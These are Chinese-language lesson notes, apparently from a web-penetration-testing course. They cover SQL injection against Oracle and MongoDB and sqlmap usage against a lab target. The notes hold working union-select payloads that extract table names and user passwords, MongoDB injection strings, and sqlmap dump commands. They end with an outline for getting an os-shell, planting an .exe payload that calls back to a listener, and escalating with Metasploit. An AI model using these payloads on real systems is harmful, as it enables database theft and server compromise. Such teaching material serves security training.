小迪安全26WEB 攻防-通用漏洞&SQL 注入 &Sqlmap&Oracle&Mongodb&DB2 等

时间:2024-02-22 18:42:38

 

#知识点: 

1、数据库注入-Oracle&Mongodb 

2、数据库注入-DB2&SQLite&Sybase 

3、SQL 注入神器-SQLMAP 安装使用拓展

 

 

 

数据库注入:

数据库注入-联合猜解-Oracle&Mongodb 

  1.Oracle数据库一般会在java上执行

参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html 

 

猜回显位:用的是单引号,进行猜测,因为在数据库中加入单引号是一种字符类型的,通过SQL语句,判断之后的数据是否能正常的显示页面,从而进行判断注入点。

Dual:是一个虚表。只有一列,必须使用关键字语句才可以进行使用,通常是 查询时间等数据。

 

测回显:and 1=2 union select '1','2' from dual 

 

爆库:and 1=2 union select '1',(select table_name from user_tables 

where rownum=1) from dual 

 

模糊爆库:and 1=2 union select '1',(select table_name from 

user_tables where rownum=1 and table_name like '%user%') from 

dual 

 

爆列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users') from 

dual 

 

爆其他列名:and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users' and 

column_name not in ('USER_NAME')) from dual 

 

爆数据:and 1=2 union select user_name,user_pwd from "sns_users" 

 

爆其他数据:and 1=2 union select user_name,user_pwd from 

"sns_users" where USER_NAME<>'hu' 

 

 2.Mongodb :一般在python中

 

题目源代码:

ee724fa98114410a94d0f02dcacba8a3.png

 db.getCollectionNames()返回的是数组,需要用 tojson 转换为字符串。 

db.Authority_confidential 是当前用的集合(表),find 函数用于查询,0 是第 

一条数据

 

测回显:/new_list.php?id=1'}); return ({title:1,content:'2 

 

爆库: /new_list.php?id=1'}); return 

({title:tojson(db),content:'1 

 

爆表: /new_list.php?id=1'}); return 

({title:tojson(db.getCollectionNames()),content:'1 

 

爆字段:/new_list.php?id=1'}); return 

({title:tojson(db.Authority_confidential.find()[0]),content:'1 

 

 

数据库注入-SQLMAP-数据猜解&高权限读写执行

1、判断数据库注入点 

2、判断注入点权限 

-sqlmap 数据库注入数据猜解 

-sqlmap 高权限注入读写执行 

-sqlmao 高权限注入联动 MSF

#SQLMAP 使用参数: 

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

            https://sqlmap.org/

注入技术:布尔盲注、时间盲注、错误注入、union注入、堆叠查询(SQL语句的基本操作)、带外(dnslog:利用其他的协议,将dns等信息带出来)

 

使用SQLmap的流程:

  判断注入点

  判断数据库类型(是否存在高级权限)

  判断是否为高级用户

 

指定网站进行注入

python sqlmap.py -u "http://124.70.71.251:40184/new_list.php?id=1"

e7f6f651814b4b3282f34edf43172d42.png

 判断为IBM数据库,并判断是否要测试其他数据库

aa50f24b1c7d4d39a40c3f4b7acf0c6b.png

 存在注入点

ee6b5607a1ce41d8bb076c615728b646.png

7c95403965254c6da1a6808ebde005a9.png 

 判断权限:--privileges #查看权限或 --is-dba #查看是否是数据库管理员

 

有了高级权限,也不一定代表能够完全的文件读写(如mysql中的文件读写,需要my.ini配置上的修改)

若不是高级权限,则老实的进行数据库猜测:

--dbs #查看其他数据库、

--current-db #当前数据库、

--tables #获取所有数据库中的表、

联合指定数据库查询表--tables -D ”指定数据库”、

联合指定数据库中的指定表的列--columns -T “指定表” -D ”指定数据库”、

联合指定数据库中的指定表的指定列中的属性值--dump -C “指定列” -T “指定表” -D ”指定数据库”

--purge #清理缓存

 

一些数据库的特性,无dbs

1a733e0590fb42e7b451a709d87e0f54.png

 -r #对当下文件下的数据包进行解析——特定访问:POST、限制数据头的数据包

对数据包要注入点加入*:表示为注入点

ac2d94f8bc3a4127a561545ed228f0ee.png

 

 

Msf:进行后期内网渗透和提权

主要的思路是:

通过sqlmap找到管理员账号和密码,从而登入后台,再利用后台进行os-shell的连接实现shell交互,此时通过shell交互便可获取到对方服务器的IP等敏感信息,同时,在自己的服务器中开启监听,利用高级权限读写文件,向对服务器写入payload(.exe)并运行,实现上线服务器,然后在监听过程中开启msf,从而提权